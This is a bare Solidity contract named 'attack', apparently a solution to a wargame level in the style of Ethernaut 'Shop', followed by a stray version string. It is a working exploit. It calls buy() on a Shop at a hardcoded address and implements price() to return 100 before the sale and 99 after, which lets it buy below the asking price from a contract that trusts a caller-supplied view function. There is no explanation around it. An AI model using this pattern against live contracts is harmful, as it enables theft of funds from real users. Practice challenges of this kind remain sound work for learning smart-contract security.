contract attack{ Shop shop; function att()public{ shop=Shop(0xd9145CCE52D386f254917e481eB44e9943F39138); shop.buy(); } function price()external view returns (uint){ if(shop.isSold()==false){ return 100; } return 99; } }
0.4.18